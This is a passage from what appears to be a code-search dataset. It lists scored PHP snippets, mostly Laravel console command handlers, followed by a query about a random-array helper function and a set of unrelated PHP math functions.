$this->info('Fetching latest news about \"' . $subject . '\" for \"' . $fromDate . '\"');\n\n $result = $this->service->getData($subject, $fromDate);\n\n if (!isset($result[NewsTopicService::TOP_LEVEL_NAME])) {\n $this->error('There was an error during command execution');\n $this->info(json_encode($result));\n return;\n }\n\n $this->info(json_encode($result));\n }", "title": "" }, { "docid": "edc952b3b6fe354389f62f3a7057797e", "score": "0.60462517", "text": "public function handle() {\n $lookback = $this->argument('lookback');\n\n foreach($this->entities as $entity) {\n $job = new RedshiftDataValidationJob($entity, $lookback, str_random(16), $this->option('runtime-threshold'));\n $this->dispatch($job);\n }\n\n }", "title": "" }, { "docid": "f8f1f44788d86b3587c8a830e5a176b2", "score": "0.6045046", "text": "public function handle()\n {\n $this->bundle = ucfirst($this->argument('bundle'));\n $this->entity = ucfirst($this->argument('entity'));\n\n if (!$this->loader->onLoad()) {\n $this->error('Invalid JSON file: paths.json');\n return;\n }\n $this->http = $this->loader->paths->http;\n\n foreach ($this->loader->paths->paths as $key => $value) {\n $this->makeFile($key, $value);\n }\n }", "title": "" }, { "docid": "547ec9c5af8cb8f04f0c4306e6938132", "score": "0.6044936", "text": "public function fire()\n {\n $nameparser = new NameParser($this->argument('name'));\n $path = $this->getPath($nameparser);\n $template = $this->option('template');\n\n $this->printResult($this->generator->make($path, $template, $nameparser), $path);\n }", "title": "" }, { "docid": "5382d2a14390ada2dcb4baea471f5f31", "score": "0.60422015", "text": "public function handle()\n {\n //\n $userId = $this->argument('user');\n if (!$userId) {\n $this->error('Can not send email without user id.');\n return;\n }\n /** @var User $user */\n $user = User::find($userId);\n if (!$user) {\n $this->error('Can not find user by id: '. $userId);\n return;\n }\n if ($this->confirm(\"Email will send to {$user->email}. continue? [y|N]\")) {\n $shouldQueue = $this->option('queue');\n if ($shouldQueue) {\n \\Mail::to($user)->queue(new Test());\n } else {\n \\Mail::to($user)->send(new Test());\n }\n }\n }", "title": "" }, { "docid": "155e636f5525d9dbde6c02415acb5976", "score": "0.60394853", "text": "public function handle()\n {\n $return = Pandoc::file($this->argument('file'))\n ->from($this->argument('from'))\n ->to($this->argument('to'))\n ->output($this->argument('output'))\n ->convert();\n\n $this->info($return);\n }", "title": "" }, { "docid": "17ed8e47b278caa212d510315e290fd2", "score": "0.60339785", "text": "public function handle()\n {\n $key = $this->argument('key');\n $type = $this->argument('type');\n switch ($type){\n case 0: dd(Sentence::search($key)->get()->toArray());\n case 1: dd(Author::search($key)->get()->toArray());\n }\n }", "title": "" }, { "docid": "badc40b71ff184b0f987f5c56c52c6c6", "score": "0.60333925", "text": "public function handle()\n {\n $year = $this->argument('year');\n $institution = $this->argument('institution');\n $institutionGrade = $this->instituion_grade->getInstitutionGradeToPromoted($year,$institution);\n (new BulkPromotion())->callback($institutionGrade,$year);\n }", "title": "" }, { "docid": "744fd709a883cc0741ad37af29f05b9e", "score": "0.60297495", "text": "public function handle()\n {\n $this->createDirectories();\n \n if(file_exists(app_path('Models/User.php'))) {\n if (! $this->confirm(\"The User model already exists. Do you want to replace it?\")) {\n exit;\n }\n }\n\n file_put_contents(\n app_path('Models/User.php'),\n $this->compileModelStub()\n );\n $this->info('Authentication scaffolding generated successfully.');\n\n }", "title": "" }, { "docid": "39f84566fb36ddb7bae746c552472ede", "score": "0.6026551", "text": "public function handle()\n {\n $user = $this->argument('user');\n $tag = $this->argument('tag');\n $userId = $this->argument('userId');\n //\n $this->dispatch((new FetchOverwatchProfiles([\n 'user' => $user,\n 'tag' => $tag,\n 'userId' => $userId\n ]))->onQueue('overwatch_profiles'));\n }", "title": "" }, { "docid": "413a8ddefe106344ea7ed471b3c8737c", "score": "0.60264957", "text": "public function fire()\n {\n $config = $this->getDDDGeneratorConfig();\n $domain_definition = $this->getDomainFileDefinition($this->argument('domain_file_definition'));\n\n $this->generateFiles($domain_definition,$config);\n\n $this->info('files created successfully!');\n }", "title": "" }, { "docid": "62edc3ea51259069e12a52499ca5787e", "score": "0.60194355", "text": "public function handle()\n {\n // echo \"\\n*今日の格言*\\n\\n\";\n // echo Inspiring::quote();\n // echo \"\\n\\n\";\n // $p = $this->argument('person');\n // if($p != null){\n // $person = Person::find($p);\n // if($person != null){\n // echo \"\\nPerson id = \".$p.\":\\n\";\n // echo $person->getData() . \"\\n\";\n // }\n // }else{\n // $person = Person::all();\n // foreach ($person as $val) {\n // echo $val->getData().\"\\n\";\n // }\n // }\n $id = $this->option('id');\n $name = $this->option('name');\n if($id != '?'){\n $p = Person::find($id);\n }else{\n if($name != '?'){\n $p = Person::where('name',$name)->first();\n }else{\n $p = null;\n }\n }\n if($p != null){\n //file_put_contents(TESTFILE,$p->getData());\n Log::debug($p->getData());\n //echo $p->getData().\"\\n\";\n }else{\n echo 'no Person find...';\n }\n }", "title": "" }, { "docid": "6312c2f2fe4090d9c7eb66bafbb77efb", "score": "0.6018056", "text": "public function handle()\n {\n $this->findTranslations->make();\n $this->call('cache:clear');\n }", "title": "" }, { "docid": "e727876bcd7fd5442eb153a2a04c618a", "score": "0.6016", "text": "public function handle()\n {\n $id = $this->argument('id');\n $amount = $this->argument('amount');\n\n echo $id . ' is Depositing.' . PHP_EOL;\n\n $command = new DepositCommand($id, $amount);\n $this->commandBus->dispatch($command);\n }", "title": "" }, { "docid": "eac6e7d74fd6782dae0af1bdd5529345", "score": "0.6015829", "text": "public function handle()\n {\n $this->settings();\n\n $repository = $this->resources->all();\n\n // Resources menu should only be appended if there is actually\n // resources to be displayed.\n if (! empty($repository)) {\n $this->resources($repository);\n }\n }", "title": "" }, { "docid": "b28e48cf82d651dddb85badcaa9ec6a7", "score": "0.60104865", "text": "public function handle()\n {\n $paragraph = $this->argument('text');\n Processor::processParagraph($paragraph);\n }", "title": "" }, { "docid": "234d02a028de0975297cb2cdc5815a38", "score": "0.6008873", "text": "public function handle()\n {\n $search = Twitter::getSearch([\n 'q' => $this->argument('search'),\n 'count' => 100,\n ]);\n\n $users = [];\n array_walk($search->statuses, function (stdClass $value, int $idx) use (&$users) {\n $users[$value->user->screen_name] = $value->user->name;\n });\n array_walk($users, function (string $name, string $account) {\n $this->updateTweep($account, $name);\n });\n\n echo \"\\nMuahahahahaha!\\n\";\n }", "title": "" }, { "docid": "c2bc60091f76fd81197c873aa896f33c", "score": "0.6005184", "text": "public function handle()\n {\n $id = $this->argument('user_id');\n\n try {\n $user = User::findOrFail($id);\n } catch (\\Exception $e) {\n return $this->error('User not found');\n }\n\n $this->info(sprintf(' User name : %s', $user->name));\n $this->info(sprintf(' User email : %s', $user->email));\n\n if ($this->confirm('Do you wish to continue ?')) {\n try {\n $user->notify(new Test);\n } catch (\\Exception $e) {\n return $this->error(sprintf(\n 'Failed to send notification : %s',\n $e->getMessage()\n ));\n }\n\n $this->info('The notification has been sent');\n }\n }", "title": "" }, { "docid": "aa59becd4a8068e7b84cb72cd49174b2", "score": "0.60048527", "text": "public function handle()\n {\n try {\n $pairs = $this->pairs->getPairs($this->argument('args'), $this->option('unique_args'));\n foreach ($pairs as $pair) {\n $this->info($pair);\n }\n }\n catch(\\Exception $e) {\n $this->error($e->getMessage());\n }\n }", "title": "" }, { "docid": "90523e2f5aa8aba34fffa420f163ce65", "score": "0.6004468", "text": "public function handle()\n {\n $this->start();\n if ($this->option('mutix')) {\n $this->mutix();\n } else {\n $this->grap();\n }\n $this->end();\n }", "title": "" }, { "docid": "e3860256ff41f07dbaf77b49365f7157", "score": "0.60008323", "text": "public function handle() {\n $file = $this->argument('file');\n\n $builder = new Builder($this);\n $builder->load($file);\n if ($builder->hasError()) {\n $this->error(' > No files generated due to errors');\n } else {\n $builder->createMigration();\n }\n }", "title": "" }, { "docid": "02a29fcf57269375262dfcabd90da5d6", "score": "0.599935", "text": "public function handle()\n {\n config([\n 'push' => [\n 'apns' => [\n 'root' => config('push.apns.root'),\n 'certificate' => $this->option('certificate') ?: config('push.apns.certificate'),\n 'password' => $this->option('password') ?: config('push.apns.password'),\n 'environment' => $this->option('environment') ?: config('push.apns.environment'),\n ],\n 'gcm' => config('push.gcm'),\n ],\n ]);\n\n $notification = new Notification($this->argument('title') ?: 'Notification test', $this->argument('message'));\n\n $notification->push(Device::apns($this->argument('token')));\n\n $results = $notification->send();\n\n foreach ($results['errors'] as $data) {\n $this->error(sprintf('Device %s has failed', $data->token));\n }\n\n foreach ($results['updates'] as $data) {\n $this->error(sprintf('Device %s has been updated', $data->token));\n }\n }", "title": "" }, { "docid": "abff07aa014c97752e5d228120d3d089", "score": "0.59958154", "text": "public function handle()\n {\n \n if($this->option('type')){\n $year = $this->option('type');\n }else {\n $year = 'year';\n }\n if($this->option('year')){\n $type = $this->option('year');\n }else {\n $type = date('Y');\n }\n if($this->option('date')){\n $date = $this->option('date');\n }else {\n $date = date('Y-MM-DD');\n }\n $this->service->generateGoalReport($type,$year,$date);\n }", "title": "" }, { "docid": "0a8a6cbd28bf81f0bf43224fa04edf78", "score": "0.5988102", "text": "public function handle()\n {\n $directory = $this->getDirectoryArgument();\n\n $cleaner = Cleaner::directory($directory, $this->argument('recursive') ?? true);\n\n $cleaner->inAvailableResources(request());\n\n dd($cleaner->analyze(request()));\n }", "title": "" }, { "docid": "4cb5190c7ef134ed018cc813614d2d4e", "score": "0.5987503", "text": "public function handle(Command $command);", "title": "" }, { "docid": "32b677c44fc3838c2b30fc69e9188ef4", "score": "0.598459", "text": "public function handle()\n {\n $debug = $this->option('debug');\n $this->controller->goingToLondonViaEbbsfleet();\n $this->info($this->controller->lineOne);\n $this->info($this->controller->lineTwo);\n if (!$debug) {\n $this->controller->action = \"notification\";\n $this->controller->sendToIffft(\"K\");\n }\n }", "title": "" }, { "docid": "9000c91111734cbc4ac788d9a2097c01", "score": "0.59825385", "text": "public function handle()\n {\n $language = $this->argument('language');\n\n Excel::store(new TranslationsExport($language), 'translations.xlsx');\n }", "title": "" }, { "docid": "ecf5ae38aca74a6bad530af03c3d059e", "score": "0.59823906", "text": "public function handle()\n {\n $locations = LocationCollection::findNewForGeocode();\n\n /** @var UserLocation $location */\n foreach ($locations->all() as $location) {\n $location->geocodeFromCoordinates();\n }\n }", "title": "" }, { "docid": "531d8ae7458ade45561ad2c0fca237fc", "score": "0.5981926", "text": "public function handle()\n {\n $email = $this->argument('email');\n $comment = $this->argument('comment');\n\n $user = app(UserService::class)->findByEmailOrNull($email);\n\n if($user === null) {\n $this->error(\"No user found under the email [{$email}]\");\n }\n\n $data = [\n 'user_id' => $user->id,\n 'content' => $comment\n ];\n\n app(CommentService::class)->create($data);\n\n $this->info(\"New comment added to user {$user->formattedName()} - {$user->email}\");\n }", "title": "" }, { "docid": "6e5debb7388bedc20883fa0571eb03ab", "score": "0.59803087", "text": "public function handle()\n {\n $type = $this->argument('type');\n $title = $this->argument('title');\n $content = $this->argument('content');\n\n $users = User::all();\n\n foreach ($users as $user) {\n $update = new UserUpdate;\n $update->email = $user->email;\n $update->title = $title;\n $update->type = $type;\n $update->content = $content;\n if ($update->save()) {\n $this->line(\"Added announcement/update for [\" . $user->email . \"]\");\n }\n }\n }", "title": "" }, { "docid": "bc0635a760f337badc542f5e70b70440", "score": "0.5979463", "text": "public function handle()\n {\n $this->copy_cards();\n $this->copy_card_owneds();\n $this->copy_card_set();\n $this->copy_conditions();\n $this->copy_symbols();\n }", "title": "" }, { "docid": "486db648371fee6471c9b00700eb075f", "score": "0.5978549", "text": "public function handle()\n {\n $langs = \\LaravelLocalization::getSupportedLanguagesKeys();\n\n if ($this->argument('name')) {\n $langs = array_intersect($langs, [$this->argument('name')]);\n }\n\n foreach ($langs as $lang) {\n try {\n $generator = $this->getContentFromFile($lang);\n\n while($generator->valid()) {\n $this->add($generator->key(), $generator->current());\n $generator->next();\n\n if (count($this->data) >= $this->limit || !$generator->valid()) {\n $this->import($lang);\n }\n }\n } catch (\\Exception $e) {\n $this->error($e->getMessage());\n }\n }\n\n $this->info('OK!');\n }", "title": "" }, { "docid": "0176e97bdaead44d614f7f9a3e43dde5", "score": "0.59771085", "text": "public function handle()\n {\n $this->getCities();\n $this->info('Cities was loaded successfully');\n\n $this->getWarehouses();\n $this->info('Warehouses was loaded successfully');\n }", "title": "" }, { "docid": "367e3fa8c7f89298f58314710b0d96ac", "score": "0.5973143", "text": "public function handle()\n {\n $params = [];\n\n // Prepare arguments.\n $this->preparePaths($params);\n\n // Get configuration file.\n $this->setConfigFile($params);\n\n // Prepare options.\n $this->prepareOptions($params);\n\n // Fix files.\n chdir(base_path());\n passthru($this->getCommand($params));\n }", "title": "" }, { "docid": "351e66235fcc9309e5e81647ac6af753", "score": "0.5972634", "text": "public function handle()\n {\n $user = (int)$this->argument('user');\n $roles = $this->argument('roles');\n $attach = $this->option('attach');\n $detach = $this->option('detach');\n if (!$attach and !$detach)\n {\n $this->viewUserRoles($user);\n } else if ($attach and $detach) {\n $this->error('detach and attach conflicts.');\n } else if ($attach) {\n $this->attachUserRoles($user, $roles);\n } else if ($detach) {\n $this->detachUserRoles($user, $roles);\n }\n }", "title": "" }, { "docid": "84744882f12f12b91012cf8e08572d5d", "score": "0.597002", "text": "public function handle()\n {\n $errors = Validation::get_errors(\n ['file' => $this->argument('file')],\n ['file' => 'required|string']\n );\n\n if(!is_null($errors)) {\n Validation::print_errors($errors->get('file'));\n exit(1);\n }\n\n if(file_exists($this->argument('file'))\n && !$this->confirm('File already exists, do you wish to continue?')) {\n die(\"Cancelling command\\n\");\n }\n\n $media = \\App\\Media::all();\n\n $media->transform(function($m) {\n $m['created_at_unix'] = $m->created_at->timestamp;\n $m['updated_at_unix'] = $m->updated_at->timestamp;\n return $m;\n });\n\n MediaIndexing::write_to_file($this->argument('file'), $media);\n }", "title": "" }, { "docid": "ad6dd0e9fbfbbb3bcd1e2261f8feb482", "score": "0.5968444", "text": "public function handle()\n {\n //\n $user = User::where('email', $this->argument('email'))->first();\n UserVerification::generate($user);\n UserVerification::send($user, $subject = 'IndieWise: Account Verification', $from = '[email protected]', $name = 'IndieWise Registration');\n $this->info('Verification Email Sent');\n }", "title": "" }, { "docid": "8f428c5e462bfbf74cdebf75ff40f04d", "score": "0.5963965", "text": "public function handle()\n {\n $this->createDirectory($this->directories);\n $this->callOrderPackages();\n\n $this->components((new ComponentService()), [\n 'themes',\n 'plugins'\n ]);\n\n $this->comment($this->comment);\n }", "title": "" }, { "docid": "a1404998170529f9ec4f525bed0c7ef0", "score": "0.59624535", "text": "public function handle()\n {\n try {\n Telegram::setWebhook([\n 'url' => $this->argument('url')\n ]);\n\n $this->info('The Webhook was successfully set');\n } catch (Exception $e) {\n $this->error($e->getMessage());\n }\n }", "title": "" }, { "docid": "a35b64447df60c97fc9c10104e23a8ec", "score": "0.5960009", "text": "public function handle()\n {\n $key = $this->argument('key');\n\n $user = User::where('key', $key)->first();\n\n if ($user) {\n $encryptedOne = JWTAuth::fromUser($user);\n\n $this->info('The gernerated token of key is ========> ' . $encryptedOne);\n } else {\n $this->info('user not found!!!' . json_encode($user));\n }\n }", "title": "" }, { "docid": "8fbb90a5412231ead701ca0762a5c78d", "score": "0.5959815", "text": "public function handle()\n {\n $user = $this->userRepository->create([\n 'username' => $this->argument('username'),\n 'password' => $this->argument('password'),\n 'email' => $this->argument('email'),\n 'full_name' => $this->argument('full_name'),\n 'gender' => $this->argument('gender'),\n 'phone_number' => $this->argument('phone_number'),\n 'access_level' => $this->argument('access_level'),\n 'status' => $this->argument('status'),\n 'token' => $this->argument('token'),\n 'requests' => $this->argument('requests'),\n 'division_id' => $this->argument('division_id')\n ]);\n\n $this->info(sprintf('A user was created with ID %s', $user->id));\n }", "title": "" }, { "docid": "320a494842bc9f8373c4accbf280e933", "score": "0.5958902", "text": "public function handle()\n {\n $this->info('Running command ' . $command = $this->command());\n passthru($command);\n }", "title": "" }, { "docid": "82da91b28adee4d6a7de6aa8efaa49de", "score": "0.5958323", "text": "public function handle()\n {\n try {\n $this->filesystem->overwrite(\n $path = database_path('seeds/' . config('AdminUserSeeder', 'AdminUserSeeder.php')),\n $this->compiler->compile(\n $this->filesystem->get($this->getStubPath()),\n [\n \"USER_NAME\" => $this->username(),\n \"USER_EMAIL\" => $this->email(),\n ]\n )\n );\n $this->info('File ' . $path . ' created');\n } catch (\\Exception $e) {\n print_r($e->getMessage());\n }\n }", "title": "" }, { "docid": "2db65d15cd46f25fa107213db52db70f", "score": "0.5957788", "text": "public function handle()\n {\n if (!is_null($this->option('only'))) {\n $only = explode(',',$this->option('only'));\n $this->availableCommands = array_only($this->availableCommands, $only);\n } elseif (!is_null($this->option('except'))) {\n $except = explode(',',$this->option('except'));\n $this->availableCommands = array_except($this->availableCommands, $except);\n }\n foreach ($this->availableCommands as $key => $command) {\n $this->call($command);\n }\n }", "title": "" }, { "docid": "b79a19302f2081c9c5aab92d4c38698f", "score": "0.5957016", "text": "public function handle()\n {\n $file = $this->argument('file');\n\n $password = Import::config('password');\n\n Import::start(compact('file', 'password'));\n\n $this->info('Completed');\n }", "title": "" }, { "docid": "6fc684739029cd4125d3af3cda1bd76f", "score": "0.59564626", "text": "public function handle()\n {\n $this->comment(PHP_EOL . 'Creating user ' . $this->argument('user') . PHP_EOL);\n $user = new User();\n $user->email = $this->argument('user');\n $user->password = $this->argument('password');\n $user->status = 1;\n $user->role()->associate(Role::find(1));\n $user->save();\n }", "title": "" }, { "docid": "11d25ec9c6129b1fa3fbfbd8a5800384", "score": "0.59528464", "text": "public function handle()\n {\n $models = explode(',', $this->option(\"model\"));\n foreach($models as $model){\n $this->info(\"Fixing Model \" . $model);\n try{\n $this->$model();\n } catch (\\Exception $ex) {\n $this->error(\"Model class not found \" . $ex);\n } \n } \n }", "title": "" }, { "docid": "353eeef619a6be1d0ce1f1e6456825d6", "score": "0.5949969", "text": "public function handle()\n {\n $manifest = $this->getLaravel()->make('addons.manifest');\n $manifest->build();\n\n $count = $manifest->getAddonCount();\n $term = ($count == 1) ? 'addon' : 'addons';\n\n $this->info(\"Discovered {$count} {$term}!\");\n }", "title": "" }, { "docid": "a5389f7b9aba49246fb7cef9f0d07703", "score": "0.59490013", "text": "public function handle()\n {\n $this->info($this->employeeCommandService->canDoAction($this->argument('specialty'), $this->argument('action')));\n }", "title": "" }, { "docid": "78b1a8d44016e8894e7ab854253e30e1", "score": "0.5946749", "text": "public function handle()\n {\n $this->line('working...');\n\n $this->createIndexes();\n\n $this->populateIndexes();\n }", "title": "" }, { "docid": "0412e513aa601d7d3e9c0fb832da1854", "score": "0.5945706", "text": "public function fire()\n {\n try {\n $title = $this->argument('title');\n $text = $this->argument('text');\n KeenEvents::sendSlackEvent($title, $text);\n } catch (Exception $e) {\n $this->error('Error: '.$e->getMessage());\n throw $e;\n }\n\n $this->info('done');\n }", "title": "" }, { "docid": "772af67c488e83becd0917d5a245c961", "score": "0.5945673", "text": "public function handle()\n {\n $this->info($this->bithumb->getTradingHistory($this->argument('type')));\n }", "title": "" }, { "docid": "ff281bfe3e70fd83ad335f21dd3cd08d", "score": "0.59453624", "text": "public function handle()\n {\n $user = User::where('username', $this->argument('username'))->firstOrFail();\n\n Bouncer::assign('superadmin')->to($user);\n }", "title": "" }, { "docid": "75944b2dd1c5e0af2a9f58e1a22d121f", "score": "0.5944221", "text": "public function handle()\n {\n foreach(Product::search($this->argument('search'))->get() as $product)\n {\n print(\"[\".$product->id.\"]: \".$product->title.\"\\n\");\n }\n }", "title": "" }, { "docid": "9e95d6f71a3bb70ff6881516ab83bdc2", "score": "0.59430885", "text": "public function handle()\n {\n //publishing config, blade templates, language file\n $this->call('vendor:publish', [\n '--provider' => 'Zanozik\\Cdnjs\\CdnjsServiceProvider'\n ]);\n //migrating assets table to db\n $this->call('migrate', [\n '--path' => '/vendor/zanozik/cdnjs/src/database/migrations'\n ]);\n //seeding asset table with sample assets for manager frontend\n $this->call('db:seed', [\n '--class' => 'Zanozik\\Cdnjs\\Database\\Seeds\\AssetsTableSeeder'\n ]);\n //clearing cache in case we already have that key in our cache\n $this->call('cache:clear');\n }", "title": "" }, { "docid": "502bc0448bf2f61ff3167e1015ffe3bc", "score": "0.59427357", "text": "public function handle()\n {\n $this->call('vendor:publish', ['--provider' => WisteriaServiceProvider::class, '--tag' => ['wisteria-assets', 'wisteria-config']]);\n\n $this->info('Wisteria successfully installed! Enjoy 😍');\n }", "title": "" }, { "docid": "34f628fcb5c4b21504f82c4043a8ef05", "score": "0.59426194", "text": "public function handle()\n {\n $this->info('Publishing assets to public folder.');\n\n // Publish hub public assets\n foreach ($this->commands as $command) {\n Artisan::call($command);\n }\n\n $this->line('Done.');\n }", "title": "" } ]
bbcb23bef8ec029f75c335a8987bdcc3
$fe = getrnd3(5, 2, 1, 10); show3(add3($fe, $fe));
[ { "docid": "b921a822203bf5f230701ed96d4c3577", "score": "0.0", "text": "function add3_alt($fe1, $fe2){\n\twhile (list($k, $w) = each($fe1)) $fe12[$k] = array_merge($fe1[$k], $fe2[$k]);\n\treturn $fe12;\n}", "title": "" } ]
[ { "docid": "9146f94873252019cd635b081de38d1a", "score": "0.6354095", "text": "function add3($a, $b)\n{\n $sum = $a + $b;\n echo \"sum = $sum<br />\";\n}", "title": "" }, { "docid": "953a8fd9fc6e3336ab271059fe3af0a9", "score": "0.6288767", "text": "function getrnd3($r, $c, $lo = 0, $up = 100){\n\tfor ($j = 1; $j <= $c; ++$j){\n\t\tfor ($i = 0; $i < $r; ++$i) $o[\"c\".$j][$i] = mt_rand($lo, $up);\n\t}\n\treturn lfn3($o);\n}", "title": "" }, { "docid": "e58c711044b9b63bfc1d5cca5e2b19a3", "score": "0.62165374", "text": "function faktorial($angka)\n{\n if ($angka < 2) {\n return 1;\n } else {\n return $angka * faktorial($angka - 1);\n }\n}", "title": "" }, { "docid": "1476a13fecbcc21fb13e983e98949c55", "score": "0.5984927", "text": "function hitung($a,$b){\r\n $c = $a + $b;\r\n return $c;\r\n}", "title": "" }, { "docid": "14b52664308d19e224f4b0005af583d5", "score": "0.59585816", "text": "function tinhchuvihinhtron($r){\n $bk = 3.14 * $r * 2;\n return $bk;\n}", "title": "" }, { "docid": "95da94b907b615e6759f7212b4c567e4", "score": "0.59393764", "text": "function sum3(int $x = 0, int $y = 0, int $z = 0): int {\n return $x + $y + $z;\n}", "title": "" }, { "docid": "7277c2f9000ce1e22fd2f2e569ca6787", "score": "0.5931908", "text": "function integrate($n, $a, $b, $user_func){\n\t$h = ($b-$a)/$n;\n\t$sum1 = func($user_func, ($a+$h/2));\n\t$sum2 = 0;\n\n\tfor ($i=1; $i<$n; $i++)\n\t{\n\t\t$sum1 = $sum1 + func($user_func, ($a+($h*$i)+($h/2)));\n\t\t$sum2 = $sum2 + func($user_func, ($a+($h*$i)));\n\t}\n\n\t$out = ($h/6)*(func($user_func, $a)+func($user_func, $b)+(4*$sum1)+(2*$sum2));\n\treturn $out;\n}", "title": "" }, { "docid": "d87581d8cb82817257b757927a0b1c5b", "score": "0.5911906", "text": "function integrar($a, $b, $n,$fun){\n\t$h = ($b-$a)/$n;\n\t$f_o = fnEval($a, $fun); // f(0)\n\t$f_n = fnEval($b, $fun); // f(n)\n\t$intSum = 0;\n\tfor($k=$a; $k<$b; $k = $k+$h){\n\t\t$fi = fnEval($k,$fun);\n\t\t$intSum = $intSum + $fi ;\n\t}\n\treturn ($h/2)*($f_o + $f_n + (2*$intSum));\n}", "title": "" }, { "docid": "3b5472ae2ca13610f03c07e589b08795", "score": "0.5907503", "text": "function absDiff($n)\n{\n\n $x = 51;\n if ($n > $x) {\n return 3 * ($n - $x);\n } else {\n return $x - $n;\n }\n\n}", "title": "" }, { "docid": "73903d7583d054763410f2458ead6fd0", "score": "0.5877997", "text": "function calculate($firstN, $secondN)\r\n { \r\n $result = $firstN * $secondN;\r\n return $result;\r\n }", "title": "" }, { "docid": "7d894472966f790cc061a45f11ac4332", "score": "0.58704495", "text": "function integrar($a, $b, $n, $fun){\n\t$h = ($b- $a)/$n ;\n\t$fo = fnEval($a,$fun);\n\t$fn = fnEval($b,$fun);\n\t$sumaPar = 0;\n\t$sumaImpar = 0;\n\n\tfor($i = 1; $i<$n; $i = $i+1){\n\t\tif((esPar($i)==0)){\n\t\t\t$fi = fnEval($a+($i*$h),$fun); // Avance a proporcion de la base\n\t\t\t$sumaImpar = $sumaImpar + $fi;\n\t\t};\n\t};\n\n\tfor($j = 1; $j<$n; $j = $j+1){\n\t\tif(esPar($j)==1){\n\t\t\t$fj = fnEval($a+($j*$h),$fun);\n\t\t\t$sumaPar = $sumaPar + $fj ;\n\t\t};\n\t};\n\n\n\treturn ($h/3)*($fo + 4*$sumaImpar + 2*$sumaPar + $fn ) ;\n}", "title": "" }, { "docid": "a1baaee40225c0551015fabd334c8e82", "score": "0.5800828", "text": "function reverse_sum($test1, $test2)\r\n{\r\n // call function twice. to process each variable\r\n return reverse_integer($test1) + reverse_integer($test2);\r\n}", "title": "" }, { "docid": "92a600cf41ef2fb50101a29a2041e333", "score": "0.5753763", "text": "function saberi2($a,$b){\r\n $c = $a + $b;\r\n return $c;\r\n }", "title": "" }, { "docid": "a734d65a631639c68402612d07d9c924", "score": "0.5736693", "text": "function soustraction(int $a , int $b){\n\nreturn $a - $b ;\n\n}", "title": "" }, { "docid": "41b722f4e95f39a6f0fa5e290495062c", "score": "0.5723423", "text": "function numDisp($enne ,$kappa){\n\n$numb=pow($enne,$kappa);\n\nreturn $numb;\n\n}", "title": "" }, { "docid": "cb33527044ea7260b9dc71735f01fa2e", "score": "0.57160074", "text": "function ma_Fonction7(int $nombre1 , int $nombre2 , int $nombre3){\n\t\t\t\t\treturn $nombre1 + $nombre2 + $nombre3;\n\t\t\t\t}", "title": "" }, { "docid": "b978e38f7ef3a6577277389b10ba3bd8", "score": "0.57144487", "text": "function add3all($fearr){ \n\tfor ($i = 0; $i < count($fearr); ++$i) {\n\t\t$fearr[$i] = arrayfull($fearr[$i]);\n\t\t#show3($fearr[$i]);\n\t\tif ($i == 0) $fe = $fearr[0]; else $fe = add3($fe, $fearr[$i]);\n\t}\n\treturn $fe;\n}", "title": "" }, { "docid": "686eb621d2a9fdc49f448c564651b2b7", "score": "0.5696216", "text": "function gcf($a, $b){\n\treturn ( $b == 0 ) ? ($a):( gcf($b, $a % $b) ); \n}", "title": "" }, { "docid": "8c85de1690fe9f5277aa6483ba8d6f7b", "score": "0.56728834", "text": "function solveMeFirst($a,$b){\r\n return $a + $b;\r\n}", "title": "" }, { "docid": "4540ecc267f4bae2540fc3b237d96d42", "score": "0.566536", "text": "function solveMeFirst($a,$b){\n return $a + $b;\n\n}", "title": "" }, { "docid": "b32bb2d2db59063f2688d3f2316e7af3", "score": "0.56615764", "text": "function sum($x, $y, $z) {\n return $x + $y + $z;\n}", "title": "" }, { "docid": "8685e1892508f2e0edfba152b149aa0f", "score": "0.56608593", "text": "public function save6($pv,$int,$n,&$fv){\n $fv= $pv*exp($n*log(1+ $int));\n}", "title": "" }, { "docid": "580970aca10d35347b6a6b36c9354b8c", "score": "0.56212705", "text": "function a(&$number)\n{\n echo $number . \" L3 \" . PHP_EOL;\n //$number = $number * $number;\n //$number = b($number) * $number;\n \n echo $number . \" L6 \" . PHP_EOL;\n \n //echo \"I AM HERE [\" . b($number) . \"] HERE END \\n\";\n \n return (b($number) * $number);\n \n //return $number;\n /*\n $number = $number*$number;\n return $number;\n */\n \n}", "title": "" }, { "docid": "9ec418034f9afc30e73ddb479b46fb0c", "score": "0.5621", "text": "function calculate($c)\r\n{ \r\n\t$f=($c*9/5)+32;\t\r\n\treturn $f;\r\n}", "title": "" }, { "docid": "34242265a54bf1a4f12959f5b7da226b", "score": "0.56194127", "text": "function sum($x, $y, $z)\n{\n\treturn $x + $y + $z;\n}", "title": "" }, { "docid": "ca4082ccfdfeb13c5450c18beb9718e2", "score": "0.5617014", "text": "function potencias($numero)\r\n{\r\n\r\n \r\n echo pow($numero, 2);\r\n echo $numero, \" elevado a cubo es <br>\", pow($numero, 3);\r\n echo \"<br>\", pow($numero, 4);\r\n echo \"<br>\", pow($numero, 5);\r\n \r\n}", "title": "" }, { "docid": "0562aa249308831ce1aeb21f5313d661", "score": "0.55824655", "text": "function numDispWoR($enne ,$kappa){\n$ennefact=$this->fact($enne);\n$enne_minus_kappafact=$this->fact(($enne - $kappa));\n$numb=$ennefact/$enne_minus_kappafact;\n\nreturn $numb;\n\n}", "title": "" }, { "docid": "251b3af3f72723806655a8748a95ee07", "score": "0.55714506", "text": "function get_cad_trimp($i1,$i2,$i3,$i4,$i5){\n\treturn $i1*0.82 + $i2*1.12 + $i3*2.08 + $i4*3.42 + $i5*5.89;\n}", "title": "" }, { "docid": "be2f0a88005abd8e03754e2aafdb883c", "score": "0.5569353", "text": "function abs($n){}", "title": "" }, { "docid": "c7951814fa24fd9a34af43731637a880", "score": "0.5529605", "text": "function somme_requete($a, $b) \r\n{ \r\n$b = $b + $a;\r\nreturn $b;\r\n}", "title": "" }, { "docid": "eed4b3b415bdd0217fd1bd5372817edb", "score": "0.55197334", "text": "function multi($a,$b): float{ //Force a que el retorno sea float\n return $a*$b;\n}", "title": "" }, { "docid": "a3162cfa3172de4aec0f640ad73b37d2", "score": "0.5498717", "text": "function get_add($num1, $num2){\n\t\treturn $num1+ $num2;\n\t}", "title": "" }, { "docid": "a566968ed1f1997aa087a22180419a29", "score": "0.5491861", "text": "function alt_fu($fe, $v, $fu, $neuvar = \"neuvar\"){ //z.B. mean über 3 Spalten\n\t$v = vl($fe[0], $v);\n\tfor($i = 0; $i < count($v); ++$i) $o[] = \"@\".$v[$i].\"@\";\n\tcomp($fe, \"@$neuvar@ = $fu(array(\".implode(\",\", $o).\"));\");\n\treturn $fe;\n}", "title": "" }, { "docid": "833106cb2e1ea176c4111a43fdda0bc4", "score": "0.5483345", "text": "function sum2(int 